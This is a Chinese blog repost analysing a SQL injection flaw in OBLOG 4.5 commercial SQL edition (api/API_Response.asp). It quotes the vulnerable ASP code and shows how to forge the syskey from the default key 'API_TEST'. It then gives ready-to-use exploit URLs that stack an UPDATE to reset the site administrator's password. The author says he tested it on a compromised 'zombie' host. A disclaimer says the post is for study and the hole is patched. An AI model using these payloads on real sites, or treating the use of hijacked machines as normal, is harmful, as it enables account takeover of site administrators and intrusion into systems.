现在的位置: 首页 > 综合 > 正文

OBLOG4.5 商业SQL版 漏洞解析

2012年10月05日 ⁄ 综合 ⁄ 共 2260字 ⁄ 字号 评论关闭
来源:鬼仔's Blog

声明:本文乃提供脚本学习 不是为了让大家去黑更多的站而写 漏洞已修补 网上的已经没有有漏洞的站了

影响版本:oblog4.5 商业SQL (非Final版)

漏洞补丁地址:http://down.oblog.cn/oblog4/patch/Oblog45_Final_Patch0619.rar

漏洞文件:api/API_Response.asp

打开api/API_Response.asp看开头处
=================省略部分代码============================

if request.querystring("syskey")<>"" then
syskey=lcase(request.querystring("syskey"))
username=oblog.filt_badstr(trim(request("username")))
if chksyskey then
dim truepassword
truepassword = rndpassword(16)
if request.querystring("password")<>"" then
password=trim(request("password"))
cookiedate=trim(request("savecookie"))
if cookiedate="0" or cookiedate="" then cookiedate="1"
oblog.savecookie username,truepassword,cookiedate
oblog.execute ("update oblog_user set truepassword = '"&truepassword&"' where username = '"&username&"' and password = '"&password&"'")
else
call logoutuser()
end if
end if
else
=================省略部分代码============================
很快就可以看到 password没经过任何过滤就进SQL语句了 因为是update语句 所以只适用SQL版 ACC版利用不大

要执行这条语句还必须通过chksyskey这关 我们看看chksyskey是怎么回事 在同文件的稍微下面就能看到chksyskey的代码

'验证提交信息的合法性,目前oblogmd5文件为16位,只能验证提交的位数再判定(考虑新版本增加参数)
function chksyskey()
chksyskey=true
syskey=lcase(syskey)
if len(syskey)=32 then
if mid(syskey,9,16)<>md5(username&oblog_key) then
errmsg=("安全码验证未通过!")
founderr=true
chksyskey=false
end if
elseif len(syskey)=16 then
if syskey<>md5(username&oblog_key) then
errmsg=("安全码验证未通过!")
founderr=true
chksyskey=false
end if
else
errmsg=("安全码不合法!")
founderr=true
chksyskey=false
end if
end function
这里有点小小的问题就是chksyskey貌似已经初始化为true了 以为不用管 不过到最后测试还是失败 所以必须自己构造合适的syskey才能使

chksyskey=true

syskey是直接request过来的 构造也很简单 只要提交的syskey等于 你所提交的用户名+oblog_key的MD5值 chksyskey就等于true 大家要看

明白可能需要一点点ASP的基础喔

syskey的值必须跟提交的用户名相对应喔 oblog_key的值在api/Api_Config.asp里 默认是API_TEST 一般人不会去改他 官方也是 (官方在上次

进去时已经知道不是SQL了,555)

我测试时提交的用户名是hackhua 所以提交的syskey值是hackhuaAPI_TEST的MD5值 就是8092826db0ab2902 你喜欢提交什么用户名都可

以 不需要注册 只要适当的修改MD5就可以了

password随意 savecookie要不就0要不就1都可以 下面开始测试 我用师傅的肉鸡架起OBLOG 地址就隐藏咯

首先提交http://www.XXXXXXX.com/oblog45/api/API_Response.asp?syskey=8092826db0ab2902&username=hackhua&savecookie=0&password=1'

返回错误 下面我们把管理ID为1的管理员密码改成123465

提交http://www.XXXXXXX.com/oblog45/api/API_Response.asp?syskey=8092826db0ab2902&username=hackhua&savecookie=0&password=1';update oblog_admin set password='7cc9bfe9291ac66b' where id=1--

这样就完成了 拿SHELL就不说了 我没进后台直接把数据库的图截出来 不信拉倒 :) 当时是想等OBLOG4.5SQL版出来再告诉官方的 貌似

马JJ把洞提交给官方换了个SQL版回来 不过也好 让我调试 我只是菜鸟哪错了别骂我哈

【上篇】
【下篇】

抱歉!评论已关闭.